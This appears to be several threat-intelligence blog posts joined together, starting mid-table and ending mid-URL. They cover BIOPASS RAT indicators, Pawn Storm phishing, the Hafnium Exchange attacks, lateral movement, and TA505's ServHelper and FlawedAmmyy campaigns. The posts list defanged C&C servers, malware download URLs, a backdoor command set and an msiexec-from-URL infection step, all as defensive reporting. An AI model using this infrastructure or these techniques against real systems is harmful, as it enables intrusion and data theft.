Win32.COBEACON.BG
dbb6c40cb1a49f4d1a5adc7f215e8e15f80b9f0b11db34c84e74a99e41671e06
Online.txt
BIOPASS RAT Python Script (local online server)
Trojan.
Python.BIOPASS.A
943e8c9b0a0a37237ec429cb8a3ff3b39097949e6c57baf43918a34b0110dd8f
getwechatdb.txt
BIOPASS RAT Python Script (getwechatdb plugin script)
TrojanSpy.
Python.BIOPASS.A
760fe7645134100301c69289a366bb92ab14927a7fbb9b405c1352989f16488c
wechat.txt
BIOPASS RAT Python Script (getwechatdb plugin script)
TrojanSpy.
Python.BIOPASS.A
bdf7ebb2b38ea0c3dfb13da5d9cc56bf439d0519b29c3da61d2b2c0ab5bc6011
xss_spoof.zip
BIOPASS RAT Python Script (xss_spoof plugin package)
Trojan.
Python.BIOPASS.A
e3183f52a388774545882c6148613c67a99086e5eb8d17a37158fc599ba8254b
x.js
XSS watering hole attack script
Trojan.JS.BIOPASS.A
d3956e237066a7c221cc4aaec27935d53f14db8ab4b1c018c84f6fccfd5d0058
script.txt
XSS attack JavaScript payload
Trojan.JS.BIOPASS.A
4e804bde376dc02daedf7674893470be633f8e2bda96fa64878bb1fcf3209f60
xss.txt
XSS attack HTML payload
Trojan.HTML.BIOPASS.A
05d1c273a4caeae787b2c3faf381b5480b27d836cd6e41266f3eb505dcee6186
flash.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
09530096643b835cff71a1e48020866fd0d4d0f643fe07f96acdcd06ce11dfa4
test-ticker.exe
BIOPASS RAT Loader
Backdoor.
Win32.BIOPASS.A
0b16dfa3e0bbcc7b04a9a43309e911059a4d8c5892b1068e0441b177960d3eee
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
0f18694b400e14eb995003541f16f75a5afc2478cc415a6295d171ba93565a82
flash_installer.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
11b785e77cbfa2d3849575cdfabd85d41bae3f2e0d33a77e7e2c46a45732d6e4
System.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
2243c10b1bd64dfb55eda08bc8b85610d7fa5ba759527b4b4dd16dfac584ef25
test3.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
281c938448e32eb12fe8c5439ef06cea848668cf57fed5ad64b9a8d1e07de561
flash1.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
2b580af1cdc4655ae75ef503aba7600e05cdd68b056a9354a2184b7fbb24db6f
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446
flash-64.exe
BIOPASS RAT Loader
Backdoor.
Win32.BIOPASS.A
30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
3195c355aa564ea66b4b37baa9547cb53dde7cf4ae7010256db92fff0bde873d
flash.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
32a3934d96a8f2dae805fa28355cd0155c22ffad4545f9cd9c1ba1e9545b39ac
test.exe
BIOPASS RAT Loader
Backdoor.
Win32.BIOPASS.A
32c1460ba5707783f1bbaedab5e5eab21d762094106d6af8fa6b2f0f0d777c1a
test3.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
344cdbc2a7e0908cb6638bc7b81b6b697b32755bad3bed09c511866eff3876c7
test4.exe
BIOPASS RAT Loader
Backdoor.
Win32.BIOPASS.A
3589e53c59d9807cca709387bbcaaffc7e24e15d9a78425b717fc55c779b928e
flash.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
36e3fcd6a4c7c9db985be77ea6394b2ed019332fdae4739df2f96a541ea52617
Silverlight.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
3e8f8b8a5f70c195a2e4d4fc7f80523809f6dbf9ead061ce8ef04fb489a577cf
test-flash.exe
BIOPASS RAT Loader
Backdoor.
Win32.BIOPASS.A
5d7aa3474e734913ecb4b820c0c546c92f7684081c519eecd3990e11a19bf2ba
flash_installer.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
5fd2da648068f75a4a66b08d6d93793f735be62ae88085a79d839b6a0d6d859a
flash1.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
660cef8210f823acb0b31d78fbce1d6f3f8c4f43231286f7ac69f75b2c42c020
flashplayerpp_install_cn.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
69d930050b2445937ec6a4f9887296928bf663f7a71132676be3f112e80fe275
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
6a0976e5f9d07ff3d80fa2958976183758ba5fcdd4645e391614a347b4b8e64b
f0b96efe2f714e7bddf76cc90a8b8c88_se.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
6ee8f6a0c514a5bd25f7a32210f4b3fe878d9d417a7ebe07befc285131bae10e
news.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
75e03f40a088903579a436c0d8e8bc3d0d71cf2942ad793cc948f36866a2e1ad
silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
7d0d7d416db5bd7201420982987e213a129eef2314193e4558a24f3c9a91a38e
flash_installer.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0
Silverlight.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
8445c0189735766edf0e3d01b91f6f98563fef272ac5c92d3701a1174ad072dd
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54
MTYwOTI1MzEzNQ==.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
8b5d4840bbdce0798950cd5584e3d4564581a7698bc6cfb2892c97b826129cec
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
932B45AB117960390324678B0696EF0E07D7F8DE1FA0B94C529F243610F1DCC9
flash_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
98a91356e0094c96d81bd27af407dd48c3c91aaf97da6794aeb303597a773749
Silverlight1.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
9eed9a2e0edf38f6354f4e57b3a6b9bed5b19263f54bcee19e66fc8af0c29e4e
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
9f34d28562e7e1e3721bbf679c58aa8f5898995ed999a641f26de120f3a42cf4
Silverlight1.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
9ff906ffcde32e4c6fb3ea4652e6d6326713a7fde8bb783b52f12a1f382f8798
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
a7c4dac7176e291bd2aba860e1aa301fb5f7d880794f493f2dea0982e2b7eb31
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
b48e01ff816f12125f9f4cfc9180d534c7c57ef4ee50c0ebbe445e88d4ade939
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
b82bde3fe5ee900a76ac27b4869ed9aa0802c63bbd72b3bfb0f1abce6340cc6c
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
b9d0838be8952ebd4218c8f548ce94901f789ec1e32f5eaf46733f0c94c77999
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
ba44c22a3224c3a201202b69d86df2a78f0cd1d4ac1119eb29cae33f09027a9a
Silverlight2.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975
Silverlight.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
bf4f50979b7b29f2b6d192630b8d7b76adb9cb65157a1c70924a47bf519c4edd
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
c11906210465045a54a5de1053ce0624308a8c7b342bb707a24e534ca662dc89
test-flash.exe
BIOPASS RAT Loader
Backdoor.
Win32.BIOPASS.A
c3fa69e15a63b151f8d1dc3018284e153ad2eb672d54555eaeaac79396b64e3b
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5
flashplayerpp_install_cn.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
c8542bffc7a2074b8d84c4de5f18e3c8ced30b1f6edc13047ce99794b388285c
flash2.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
cce6b17084a996e2373aaebbace944a17d3e3745e9d88efad4947840ae92fd55
Silverlight_ins.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
d18d84d32a340d20ab07a36f9e4b959495ecd88d7b0e9799399fcc4e959f536b
flash_installer.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
e4109875e84b3e9952ef362abc5b826c003b3d0b1b06d530832359906b0b8831
flash.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
e52ea54cfe3afd93a53e368245c5630425e326291bf1b2599b75dbf8e75b7aeb
flashplayer_install_cn.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
f1ad25b594a855a3c9af75c5da74b44d900f6fbb655033f9a98a956292011c8e
Silverlight.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
fa1d70b6b5b1a5e478c7d9d840aae0cc23d80476d9eea884a73d1b7e3926a209
64.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
fa7fbca583b22d92ae6d832d90ee637cc6ac840203cd059c6582298beb955aee
test.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
fb770a3815c9ebcf1ba46b75b8f3686acc1af903de30c43bab8b86e5b46de851
test4.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
fb812a2ccdab0a9703e8e4e12c479ff809a72899374c1abf06aef55abbbf8edc
flash_installer.exe
BIOPASS RAT Loader
Backdoor.
Win64.BIOPASS.A
ee2e9a1d3b593fd464f885b734d469d047cdb1bc879e568e7c33d786e8d1e8e2
aos.exe
BIOPASS RAT binary (PyInstaller)
Trojan.
Win32.BIOPASS.A
afbfe16cbdd574d64c24ad97810b04db509505522e5bb7b9ca3b497efc731045
socketio.exe
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
0b9f605926df4ff190ddc6c11e0f5839bffe431a3ddfd90acde1fcd2f91dada3
socketio.exe
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
6fc307063c376b8be2d3a9545959e068884d9cf7f819b176adf676fc4addef7d
flash_ins_bak.exe
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
7249ad971283e164b0489110c23f4e40c64ee49b49bcc5cd0d32d9e701ec2114
files.zip
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
de17e583a4d112ce513efd4b7cb575d272dcceef229f81360ebdfa5a1e083f11
fn.exe
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
17e43d31585b4c3ac6bf724bd7263761af75a59335b285b045fce597b3825ed0
systemsetting.exe
BIOPASS RAT binary (PyInstaller)
Trojan.
Win32.BIOPASS.A
b3bd28951789ef7cfaf659e07e198b45b04a2f3cde268e6ede4d4f877959341e
systemsetting.exe
BIOPASS RAT binary (PyInstaller)
Trojan.
Win32.BIOPASS.A
e0caebfbd2804fcde30e75f2c6d06e84b3bf89ed85db34d6f628b25dca7a9a0f
YIZHI_SIGNED.exe
BIOPASS RAT binary (PyInstaller)
Trojan.
Win32.BIOPASS.A
2503549352527cb0ffa1811a44481f6980961d98f9d5a96d5926d5676c31b9ee
socketio.exe
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
8ba72a391fb653b2cc1e5caa6f927efdf46568638bb4fc25e6f01dc36a96533b
flashplayerpp_install_cn.exe
BIOPASS RAT binary (Nuitka)
Trojan.
Win32.BIOPASS.A
e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783
beep.sys
Derusbi
Trojan.
Win64.DERUSBI.C
a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97
Browser_plugin (8).exe
Cobalt Strike Loader
Trojan.
Win64.COBEACON.SUX
IP/Domain/URL
Note
webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0[.]oss-cn-hongkong[.]aliyuncs[.
]com
Cloud storage bucket used to host BIOPASS RAT loaders
softres[.]oss-accelerate[.]aliyuncs[.
]com
Cloud storage bucket used to host BIOPASS RAT loaders
flashdownloadserver[.]oss-cn-hongkong[.]aliyuncs[.
]com
Cloud storage bucket used to host BIOPASS RAT modules and stolen data
lualibs[.]oss-cn-hongkong[.]aliyuncs[.
]com
Cloud storage bucket used to host Cobalt Strike loader scripts
bps-rhk[.]oss-cn-hongkong[.]aliyuncs[.
]com
Cloud storage bucket used for RTMP live streaming
wxdget[.]oss-cn-hongkong[.]aliyuncs[.
]com
Cloud storage bucket used for storing stolen WeChat data
chinanode[.]microsoft-update-service[.
]com:38080
BIOPASS RAT C&C server
0x3s[.
]com
XSS attack domain
update[.]flash-installer[.
]com
Associated fake installer domain
update[.]flash-installers[.
]com
Associated fake installer domain
flash[.]com[.
]cm
Associated fake installer domain
flash[.]com[.
]se
Associated fake installer domain
flashi[.]com[.
]cn
Associated fake installer domain
flash[.]co[.
]cm
Associated fake installer domain
47[.]57[.]142[.
]30
Cobalt Strike C&C server
47[.]57[.]186[.
]151
Cobalt Strike C&C server
103[.]158[.]190[.
]58
Cobalt Strike C&C server
207[.]148[.]100[.
]49
Cobalt Strike C&C server
microsoft[.]update[.]flash[.
]com.se
Cobalt Strike C&C server
hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0[.]oss-cn-hongkong.aliyuncs[.
]com/Silverlight_ins.exe
BIOPASS RAT loader download URL
hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/flash_ins[.
]exe
BIOPASS RAT loader download URL
hxxp://softres.oss-accelerate[.]aliyuncs[.]com/Silverlight[.
]exe
BIOPASS RAT loader download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/big.txt
BIOPASS RAT script download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/Online.txt
BIOPASS RAT script download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/files.zip
Python runtime package download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/ServiceHub.zip
Python runtime package download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/c1222.txt
c1222 module script download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/cdaemon.txt
cdaemon module download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/x.txt
Cobalt Strike Python loader download URL
hxxp://lualibs.oss-cn-hongkong[.
]aliyuncs.com/x86/1-CS-443.lua
Cobalt Strike Lua loader download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/s.txt
Cobalt Strike shellcode download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/sc2.txt
Cobalt Strike shellcode download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/sc3.txt
Cobalt Strike shellcode download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/csplugins/getwechatdb.txt
getwechatdb plug-in download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/csplugins/wechat.txt
getwechatdb plug-in download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/csplugins/xss_spoof.zip
xss_spoof plug-in download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/csplugins/xss.txt
XSS payload download URL
hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.
]com/res/csplugins/script.txt
XSS payload download URL
hxxp://0x3s[.]com/x[.
]js
XSS injection URL
Tags
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APT & Targeted Attacks
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Research
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Articles, News, Reports
In the second half of 2017 Pawn Storm, an extremely active espionage actor group, didn’t shy away from continuing their brazen attacks.
Usually, the group's attacks are not isolated incidents, and we can often relate them to earlier attacks by carefully looking at both technical indicators and motives.
Pawn Storm has been attacking political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States since 2015.
We saw attacks against political organizations again in the second half of 2017.
These attacks don’t show much technical innovation over time, but they are well prepared, persistent, and often hard to defend against.
Pawn Storm has a large toolset full of social engineering tricks, malware and exploits, and therefore doesn’t need much innovation apart from occasionally using their own zero-days and quickly abusing software vulnerabilities shortly after a security patch is released.
In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks.
Pawn Storm’s modus operandi is quite consistent over the years, with some of their technical tricks being used repeatedly.
For example, tabnabbing was used against Yahoo!
users in August and September 2017 in US politically themed email.
The method, which we first discussed in 2014, involves changing a browser tab to point to a phishing site after distracting the target.
We can often closely relate current and old Pawn Storm campaigns using data that spans more than four years, possibly because the actors in the group follow a script when setting up an attack.
This makes sense, as the sheer volume of their attacks requires careful administration, planning, and organization to succeed.
The screenshots below show two typical credential phishing emails that targeted specific organizations in October and November 2017.
One type of email is supposedly a message from the target’s Microsoft Exchange server about an expired password.
The other says there is a new file on the company’s OneDrive system.
Figure 1.
A sample of a credential phishing email Pawn Storm sent in October and November 2017
Figure 2.
Second type of credential phishing email that was sent by Pawn Storm in November 2017.
The logo of the target organization has been removed from the screenshot and the color was changed as not to reveal the source.
While these emails might not seem to be advanced in nature, we’ve seen that credential loss is often the starting point of further attacks that include stealing sensitive data from email inboxes.
We have worked with one of the targets, an NGO in the Netherlands targeted twice, in late October and early November 2017.
We successfully prevented both attacks from causing any harm.
In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up.
In an earlier attack, we were able to warn the organization 24 hours before the actual phishing emails were sent.
Olympic Wintersports Federations
We have seen several International Olympic Wintersport Federations, such as the European Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the International Bobsleigh and Skeleton Federation and the International Luge Federation, among the group’s targets in the second half of 2017.
This is noteworthy due to the timing correlation between several Russian Olympic players being banned for life in fall, 2017.
In 2016, Pawn Storm had some success in compromising WADA (the World Anti-Doping Agency) and TAS-CAS (the Court of Arbitration for Sport).
At that time, Pawn Storm sought active contact with mainstream media either directly or via proxies and had influence on what some of them published.
Political targets
In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users.
We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran.
We have previously reported similar targeted activity against political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States.
Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate.
By looking at the digital fingerprints of these phishing sites and comparing them with a large data set that spans almost five years, we can uniquely relate them to a couple of Pawn Storm incidents in 2016 and 2017.
The real ADFS server of the U.S. Senate is not reachable on the open internet, however phishing of users’ credentials on an ADFS server that is behind a firewall still makes sense.
In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest.
The future of politically motivated campaigns
Rogue political influence campaigns are not likely to go away in the near future.
Political organizations have to be able to communicate openly with their voters, the press and the general public.
This makes them vulnerable to hacking and spear phishing.
On top of that, it's also relatively easy to influence public opinion via social media.
Social media platforms continue to form a substantial part of users’ online experience, and they let advertisers reach consumers with their message.
This makes social media algorithms susceptible to abuse by various actors with bad intentions.
Publishing stolen data together with spreading fake news and rumors on social media gives malicious actors powerful tools.
While a successful influence campaign might seem relatively easy to do, it needs a lot of planning, persistence, and resources to be successful.
Some of the basic tools and services, like ones used to spread fake news on social media, are already being offered as a service in the underground economy.
As we have mentioned in our overview paper on Pawn Storm, other actors may also start their own campaigns that aim to influence politics and issues of interest domestically and abroad.
Actors from developing countries will learn and probably adapt similar methods quickly in the near future.
In 2016, we published a report on C Major, an espionage group that primarily targets the Indian military.
By digging deeper into C Major’s activities, we found that this actor group not only attacks the Indian military, but also has dedicated botnets for compromised targets in Iranian universities, Afghanistan, and Pakistan.
Recently, we have witnessed C Major also showing some interest in compromising military and diplomatic targets in the West.
It is only a matter of time before actors like C Major begin attempting to influence public opinion in foreign countries, as well.
With the Olympics and several significant global elections taking place in 2018, we can be sure Pawn Storm’s activities will continue.
We at Trend Micro will keep monitoring their targeted activities, as well as activities of similar actors, as cyberpropaganda and digital extortion remain in use.
Indicators of Compromise (IoCs):
adfs[.]senate[.
]group
adfs-senate[.
]email
adfs-senate[.
]services
adfs.senate[.]qov[.
]info
chmail.ir[.]udelivered[.
]tk
webmail-ibsf[.
]org
fil-luge[.
]com
biathlovvorld[.
]com
mail-ibu[.
]eu
fisski[.
]ca
iihf[.
]eu
Tags
Malware
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APT & Targeted Attacks
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Endpoints
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Research
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Phishing
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Network
At least 30,000 organizations are already thought to have been attacked in the US, but the number may be much larger globally — giving the hackers remote control over victims’ systems.
In our most recent check of Shodan, there are still around 63,000 exposed servers vulnerable to these exploits.
Applying the available patches should be a top priority, or disconnect any vulnerable servers you may be running if you can’t patch immediately.
At this time, anyone with an Exchange server needs to take investigative steps to check for signs of compromise.
We fully echo the recommendations from Microsoft and others.
In addition, existing XDR customers can use pre-built queries in Trend Micro Vision One to search for signs of the attack in their environment.
These queries can be found in our Knowledge Base article, along with details on the added detections and protections that customers can leveraged across all security solutions.
What happened?
The attacks have been traced back to January 6, 2021, when a new threat group subsequently labelled “Hafnium” by Microsoft began exploiting four zero-day bugs in Microsoft Exchange Server.
The group is using virtual private servers (VPS) located in the US to try to hide its true location.
Microsoft issued emergency out-of-band patches last week, saying at the time:
“In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments.”
If chained, the vulnerabilities could be exploited to allow attackers to authenticate as the Exchange server, run code as System and write a file to any path on the server.
After exploiting the four bugs, Hafnium is said to deploy web shells which allow the group to steal data and perform additional malicious actions to further compromise their targets.
This could include deploying ransomware to victim organizations.
Both the White House and the US Cybersecurity and Infrastructure Security Agency (CISA) are extremely concerned about the far-reaching consequences of the campaign.
CISA ordered government agencies to patch now or disconnect their on-premises Exchange servers.
There is also a possible connection to the Chopper ASPX web shell research we published back in January 2021.
Trend Micro Research is analyzing further how the campaigns may be related, and whether additional related campaigns may be underway.
Am I impacted?
In Microsoft’s initial assessment it claimed that Hafnium has previously targeted organizations in sectors such as infectious disease research, legal, higher education, defense, policy think tanks and NGOs.
However, there are suggestions that the latest expansive wave of attacks may be the work of other threat actors.
Whatever the source, former CISA boss Chris Krebs warns that SMBs, education sector organizations, and state and local governments may be disproportionately affected as these often have fewer resources to spend on security.
If you run on-premises Exchange Servers, here is how to check if you’re impacted:
Scan your Exchange Server logs with the Microsoft detection tool to check for compromise.
Run a manual sweep with Trend Micro Vision One for the known Indicators of Compromise (IoCs) associated with this campaign.
What happens next?
If you’ve run a scan and found that your environment hasn’t yet been compromised, and you haven’t yet patched, apply the patches released by Microsoft as soon as possible.
If you run the scan using Microsoft’s tool and see evidence that an attacker may have exploited these vulnerabilities in your environment, you are now in incident response mode.
But the approach you take may depend on your in-house resources and situation.
Here’s our advice for SMB and enterprise organizations.
If you don’t have an in-house security team, contact your security vendor or MSP for support.
If you have an in-house incident response team, they will work to identify next steps.
Do not re-image any machines until after a forensic scan has been done to ensure you’ve preserved any IoCs.
Contact your legal team to discuss breach notification requirements.
For more information on Trend Micro’s detections and added protections specific to this campaign, please see this Knowledge Base article, which will be updated as more information is learned: https://success.trendmicro.com/solution/000285882.
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Additional resources
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As we’ve discussed in previous blogs, XDR is a better way to detect attacks within a network since it is able to coordinate and collaborate threat intelligence and data across multiple threat vectors, including endpoint (including mobile and IIoT), server, network, messaging, web, and cloud.
In this blog I want to discuss an area of the attack sequence that can help organizations identify an attack, and that is the lateral movement.
Malicious actors, once in an organization’s network, will need to move beyond their initial infection location to other parts of the network, seeking out areas that hold the data or critical systems they wish to utilize.
Whether that is the data center, an OT network, or finding critical business systems to support their criminal or destructive intent.
There are a number of ways lateral movement is performed, but the key is to hide and remove evidence of their presence.
Initially they will look to scan the internal network using similar scanning tools used by admins to identify what systems are available to them.
Hacking tools and keyloggers will be used to steal user accounts and passwords to obtain legitimate user credentials within systems.
More tools will typically be downloaded using the command & control infrastructure to help with their attack.
After obtaining more powerful user accounts, the attacker can laterally move to other systems and use “normal” tools to perform other activities.
These activities may be difficult to identify for defenders due to the use of these things like:
PSEXEC to execute a program from remote system
Schedule a remote task to execute back door or malicious code
RDP or net use to connect to other hosts
Leverage WMI for fileless intrusion
Execute Powershell script for fileless intrusion
Utilize exploits targeting unpatched systems for known vulnerabilities
Execute normal tool like Bitlocker, to encrypt customer data like ransomware did.
But normal tools will not detect by antivirus system.
This is where adding network intelligence to an XDR and correlating with other intelligence from different areas of the network can be most beneficial.
An XDR that supports advanced detection capabilities can identify correlate data across areas to identify events that would otherwise go unnoticed.
Additionally, in many attacks the malicious actors are removing their tracks once finished with that area, so having the ability to capture and keep intelligence can help with root cause analysis and correlate the different disparate components of an attack.
This correlation allows an organization to put the pieces of the attack puzzle together to see the full picture.
Some recent RYUK ransomware attacks are a good example.
In these attacks, attackers utilized the Eternal Blue exploit and harvested credentials as they moved across the environment, and then used existing system tools to kill security services within machines to hide their presence.
In both cases the intelligence coming from endpoints, servers, and the network allowed researchers to identify the attack chain and all the components used within the attack.
Most attacks today, including ransomware, are utilizing lateral movement.
Including detection of this as part of an overall XDR platform will improve the prevention, detection, and remediation of sophisticated attacks on an organization.
Stay tuned for more upcoming blogs on how XDR will help improve our overall security strategy moving forward.
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TA505 continues to show that as a cybercriminal group, they intend to wreak as much havoc while maximizing potential profits.
Given the group's active campaigns since our updates in June and July, we continued following their latest campaigns.
Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign.
Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads.
However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader.
The group also started targeting new countries, such as Turkey, Serbia, Romania, Korea, Canada, the Czech Republic, and Hungary.
.ISO, enabled macros for entry dropping ServHelper or FlawedAmmyy
We noticed that the group became active again in the middle of July, targeting Turkish and Serbian banks with emails that had .ISO file attachments as a means of entry.
While the method is not new, the change in file type may yield successful infections given the unusual malware delivery technique.
Emails with an attached .ISO image is an .LNK file that uses command line msiexec to execute an MSI file from a URL such as hxxp://139[.]180[.]195[.
]36/pm2.
Figure 1.
Infection chains for ServHelper installation
Figure 2.
A sample of an .ISO file with an embedded .LNK file
The pm2 file contains and runs another executable, which is an installer file created using Nullsoft Scriptable Install System (NSIS), a free script-driven installer authoring tool for Windows.
This NSIS-encapsulated file then installs ServHelper
.
Figure 3.
.LNK shortcut in .ISO file
In another sample we obtained, we found an Excel attachment with malicious macros embedded in the file.
The macros directly download the file created using NSIS installer from hxxp://45[.]67[.]229[.
]36/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.
Figure 4.
Email sample with an attached Excel file.
In another sample, the group made several updates with the versions of ServHelper, one of which included the strings’ binary encrypted in Vigenère cipher.
Figure 5.
Encrypted string
We observed that some of the samples still had errors in the cipher routine.
In another routine that was supposed to result in a stack overflow, it also displayed an error message.
We suspect the developer of this particular sample copied and pasted a stack overflow code.
Figure 6.
Vigenère cipher in ServHelper and the Delphi code in stack overflow
Another updated version included encrypted contents of the C&C communication via HTTP (previous versions had C&C request and response information in plain text).
The encrypted sample — via XOR encoding/URL encoding — also received a response from the C&C encrypted with XOR.
The XOR key is embedded in the binary; in this case, the key was “lol”.
Figure 7.
XOR Encrypted C&C communication
We also found two new backdoor commands, runmem and runmemxor, that can run additional .DLL commands in memory.
shell: Execute command
runmem: Download .DLL in memory and run
runmemxor: Download XOR encrypted .DLL and decrypt and run
zakr: Register autorun
slp: Set sleep time
load: Download executable file and run
loaddll: Download .DLL and run
selfkill: Uninstall itself
The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future.
In a campaign targeting thousands of Korean businesses, we found an .ISO attachment — used as the malicious downloader — disguised as a confirmed flight ticket from a popular airline.
Figure 8.
TA505 spoofing an airline company as a malicious file attachment.
In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader.
Figure 9.
Infection chains for FlawedAmmyy installation
Figure 10.
Screenshot of decompiled script from the .ISO file with a .NET downloader embedded in the e-ticket.
Other samples also included an Excel file attachment with malicious macros that install FlawedAmmyy, or a URL included in the email that supposedly downloads the file needed to download the malware.
Figure 11.
.LNK embedded in the .ISO file
Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader.
This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp://92[.]38[.]135[.
]67/2.dat or hxxp://27[.]102[.]70[.
